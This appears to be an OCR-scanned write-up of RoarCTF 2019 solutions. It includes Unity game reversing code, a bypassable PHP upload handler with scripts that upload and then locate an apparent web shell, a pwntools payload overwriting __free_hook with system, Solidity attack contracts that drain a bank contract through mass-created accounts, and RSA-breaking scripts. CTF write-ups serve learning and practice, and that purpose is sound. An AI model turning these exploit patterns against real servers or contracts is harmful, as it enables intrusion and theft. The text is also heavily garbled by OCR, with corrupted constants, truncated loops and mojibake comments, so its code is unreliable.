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public static void WinGame()

{
if (!winGame && ((nDestroyNum == 4) || (nDestroyNum == 5)))
{
string str = "clearlove9";
for (int i = @; i < Ox15; i++)
{
for (int j = 0; j < ox1l; j++)
{
str = str + MapState[i, j].ToString();
}
}
if (Shal(str) == "3F649F708AAFA7AGA94138DC3022F6EA611E8DOL")
{
FlagText._instance.gameObject.SetActive(true);
FlagText.str = "RoarCTF{wm-" + Md5(str) + "}";
winGame = true;
}
}
}
public static string Md5(string str)
{
byte[] bytes = Encoding.UTF8.GetBytes(str);
byte[] buffer2 = MD5.Create().ComputeHash(bytes);
StringBuilder builder = new StringBuilder();
foreach (byte num in buffer2)
{
builder.Append(num.ToString("X2"));
}
return builder.ToString().Substring(e, 10);
}

private void OnTriggerEnter2D(Collider2D collision)
{
int x = (int) collision.gameObject.transform.position.x;
int y = (int) collision.gameObject.transform.position.y;
switch (collision.tag)
{
case "Tank":
if (!this.isPlayerBullect)
{
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
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break;

case "Heart":
MapManager.MapState[x + 10, y + 8] = 9;
MapManager.nDestroyNum++;
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
break;

case "Enemy":
if (this.isPlayerBullect)
{
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
}
break;
case "Wall":
MapManager.MapState[x + 10, y + 8] = 8;
MapManager.nDestroyNum++;
UnityEngine.Object.Destroy(collision.gameObject);
UnityEngine.Object.Destroy(base.gameObject);
break;

case "Barrier":
if (this.isPlayerBullect)
{

collision.SendMessage("PlayAudio");

¥
UnityEngine.Object.Destroy(base.gameObject);
break;
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<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller

{
public function index()
{
show_source(__FILE_ );
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile[‘'name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// SE#ltt b3
$upload->maxSize = 4096 ;// WEMMH LEKMS
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// HBEMH: EiEHKH
$upload->rootPath = './Public/Uploads/';// &EMH EEHZ
$upload->savePath = '';// WERMH EFHS
$info = $upload->upload() ;
if(!$info) {// LEERETRHEIRER
$this->error($upload->getError());
return;
Yelse{// AR FKW EAXHER
$url = _ ROOT__.substr($upload->rootPath,1).$info[ 'file'][ 'savepath'].$info[ 'file']["'savename']
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
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1.5MA EE—ANEE X, BEEZ2A S, B EE—NIEE X RREE =K EERUFES.
import requests
url = "http://lode8dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload”

filesl = {'file': open('ma.txt','r')}
files2

{'file[]"': open('ma.php','r')}

r = requests.post(url,files=filesl)
print(r.text)

r = requests.post(url,files=files2)
print(r.text)

r = requests.post(url,files=filesl)
print(r.text)
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import requests

#{"url":"\/Public\/Uploads\/2019-10-12\/5dalb52bb3645.txt", "success":1}
#{"url":"\/Public\/Uploads\/","success":1}
#{"url":"\/Public\/Uploads\/2019-10-12\/5dalb52bd6f0@a.txt", "success":1}

s = "1234567890abcdef"
for in s:
for in s:

in s:

i

j
for k in s:
for 1

url "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5dalb52bc%s%s%s%s .php"%(i,j,k,1
r = requests.get(url)

# print(url)

if r.status_code != 404:

print(url)

break

#[+]{"url": "http://lode8dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5dalb52bc7471.php", "stat
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origin = [@xbc8ff26d43536296,
0x520100780530eel6,
ox4dcob5ea935f08ec,
0x342b90afd853f450,
ox8b250ebcaa2c3681,
0x55759f81a2c68ae4 ]

key = 0xBO0OO4B7679FA26B3

data = ""

for value in origin:
for i in range(9, 64):
tail = value & 1
if tail == 1:
value = value * key
value = value // 2
if tail == 1:
value = value | ©x8000000000000000
#tprint(hex(value))
# end for
print(hex(value))
j=20
while (j < 8):
data += chr(value & OXxFF)
value = value >> 8
j+=1
# end while
#end for
print(data)

Pwn

ez_op

payload:
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
from pwn import *

system_addr = 0x08051C60
hook_free = 0Ox0Q80EQ9F0O

# opcdoe

opcode =

# get stack_addr
opcode += """\



push 5
stack_load\

# sub hook_free
opcode += f"""\
push {hook_free}
sub\

# value / 4 + 1
opcode += """\
push 4

div

push 1

add\

# *hook_free = system_addr

opcode += f"""\

push {system_addr}

stack_set\

opcode = f"""\

push {0x6e69622f}

push {0x68732f}

push {system_addr}

push 1

push 4

push 64

stack_load

push {hook_free}

sub

div

sub

stack_set\

OPCODET = {
"push": ©x2a3d,
"add": @,
"sub": ©x11111,
"div": ©x514,
"stack_set": oOx10101010,
"stack_load": -1

}

opcode_list = opcode.split("\n")

op_result = []

num_result = []

for op in opcode_list:
tmp = op.split(" ")
assert tmp[@] in OPCODET
op_result.append(str(OPCODET[tmp[0]]))
if len(tmp) == 2:

num_result.append(str(tmp[1]))

result op = .join(op_result)

result _num = .join(num_result)

print(result_op)
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print(result_num)
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(p-2)! % p=1
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import sympy
from Crypto.Util.number import long_to_bytes
def egcd(a,b):
if a==0:
return (b,0,1)
else:
g,y,x=egcd(b%a,a)
return (g,x-(b//a)*y,y)
def modinv(a,m):
g,X,y=egcd(a,m)
if gl=1:
raise Exception(" error"
else:
return x%m
al=218569634524616304373482784341914340000660767504190274938524635134698652620643408366138310666023009597
b1=218569634524616304373482784341914340000660767504190274938524635134698652620643408366138310666023009597
a2=164661131158392281197678878993088200257492609338634468882241671698576121786641395457263408674067907545
b2=164661131158392281197678878993088200257492609338634468882241671698576121786641395457263408674067907545
n=8549266378627529215983160339108387617514935430932767300871662765071816058563972310079334753464962833041
€c=7570088302166957773932931679545070620450263580231073147715699883471082077024521946870324530200999893206
p=1
gq=1
i=1
1=0
for i in range(bl+1,al-1):
p *= modinv(i,al)
p %=al
p=sympy.nextprime(p)
print "p="
print p
for i in range(b2+1,a2-1):
q *=modinv(i,a2)
q %=a2
g=sympy.nextprime(q)
print "g="
print q
r=n/q/p
print "r="
print r
fn=(p-1)*(q-1)*(r-1)
print "fn="
print fn
e=4097
d=modinv(e,fn)
print "d="
print d
m=pow(c,d,n)
print "m="
print m
print long_to_bytes(m)
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/**
*Submitted for verification at Etherscan.io on 2019-10-08
*/

pragma solidity 70.4.24;

contract P_Bank

{

mapping (address => uint) public balances;

uint public MinDeposit = 0.1 ether;

Log TransferLog;
event FLAG(string bé64email, string slogan);
constructor(address _log) public {
TransferLog = Log(_log);
}
function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;

}

function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}
function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}

function Deposit()

public
payable
{
if(msg.value > MinDeposit)
{
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value, "Deposit");
}
}
function CashOut(uint _am) public
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender, _am, "CashOout");
}
}
}

function() public payable{}



contract Log

{

}

struct Message

{
address Sender;
string Data;
uint Val;
uint Time;
}
string err = "CashOut";

Message[] public History;

Message LastMsg;

function AddMessage(address _adr,uint _val,string _data)

public

{

LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);

contract FatherOwned {

}

address owner;

modifier onlyOwner{ if (msg.sender != owner) revert();

contract Attack

{

}

address owner;
P_Bank target;
constructor(address my) public {

owner = my;

5}

target = P_Bank(@xF60ADeF7812214eBC746309ccb590A5dBd70fc21);

target.Ap();
target.Transfer(owner, 1 ether);
selfdestruct(owner);

contract Deploy is FatherOwned

{

constructor() public {

owner = msg.sender;

function getflag() public onlyOwner {

P_Bank target;

target = P_Bank(@xF60ADeF7812214eBC746309ccb590A5dBd70fc21);

target.CaptureTheFlag("baiyjrh@gmail.com");

function ffhhhhhhtest1() public onlyOwner {
uint ij;
for (i=0; i<10; i++){

new Attack(owner);

function ffhhhhhhtest2() public onlyOwner {
uint i;
for (i=0; i<30; i++){



new Attack(owner);

function ffhhhhhhtest3() public onlyOwner {
uint i;
for (i=0; i<50; i++){

new Attack(owner);

}
function ffhhhhhhtest4() public onlyOwner {

uint i;
for (i=0; i<70; i++){
new Attack(owner);
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func ©x5ad@ae39(addressl, address2, uint, address3)
require(allowance[address1][msg.sender] >= uint)

require(address3 == msg.sender + 0x32c3edb)
balanceOf[addressl] -= _value;
balanceOf[address2] += _value;
allowance[addressl][msg.sender] -= _value;

RIBTE R tokenfsol B A — /R

function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;

i#iTapprove i $44 allowance[msg.sender][msg.sender]&E , B & X T 10008 {E 54T -

X5 H0x5ad0ae39, XEMLBERT, FABRBEAHXNMRLL, BIEERFremixifdl, BMERBEEN
BT

AR
rsa

MR8 L SO AT A

A=(((y%x)**5)%(x%y) ) **2019+y**316+(y+1)/x
p=next_prime(z*x*y)

g=next_prime(z)

n=p*q
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p=next_prime(z*166)
g=next_prime(z)

AT CAHEWT Y, nFlzz1 66 FIE AH T SR U2 BE S L BGA 1, AR BEnext_prime ] LAHEN H sqrt(n/166) #E Flp Al q it
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import sympy
import gmpy2
n=1179308060435073743259822918230272851488072391179873696095835153538898148560880996714543943408167612429
#miEn/166 T AR, FMp g HH—ABEERE
m=sympy .nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006
m2=842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137
k=m
p=0
gq=0
while (m>10000):
if(n%m==0):
#tprint (m) A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
RIE TR L EEE Hx iy
a=2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432
x=1
y=1
n=0
c=0
d=0
for x in range(1,100):
for y in range(2,100):
c=(y+1)/x
d=x%y
if(d!=0):
n=( ((y%x)**5)%d)**2019+y**316+c
if(n==a):
print (x)
print (y)

A[8x=2 y=83
p=next_prime(zxy)
g=next_prime(z)
n=q"p

I ET ARERINFT (2xy) ZHG(E A RZVH, W ENFIZN 2166 BB, FB-Asqri(n/166)FqRREE K .
it LA Msqrt(n/166)BftiE &K prime .

efERFN, EReHIBUETEEMX RN, ERIFERERB, %KW KeN65537.
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import sympy
import math
import binascii
from Crypto.Util.number import long_to_bytes
Nn=1179308060435073743259822918230272851488072391179873696095835153538898148560880996714543943408167612429
#mBlEsqrt(n/166) KL ME
m=sympy .nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006
c=8697468596018510999456588522777659043058497531732468707214360633783461875797509613350373224655854581782
p=0
gq=0
#AmpHE & K qEkp
while(m>100):
if(n%m==0):
p=m
print
print p
q=n/p
print
print q
break
m=sympy .nextprime(m)
def egcd(a,b):
if a==0:
return (b,0,1)
else:
g,Y,x=egcd(b%a,a)
return (g,x-(b//a)*y,y)
def modinv(a,m):
g,X,y=egcd(a,m)
if gl=1:
raise Exception(" error"
else:
return x%m
e=1
d=0
#B e
while(e<100000):
#try:
#te=sympy.nextprime(e)
e=65537 #BJEBRBRIHe
d=modinv(e, (p-1)*(q-1))
m=pow(c,d,n)
print long to_bytes(m)
m_hex = hex(m)[2:]
# try:
print m_hex
print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))
# except:
# if(e%10000==0):
# print e
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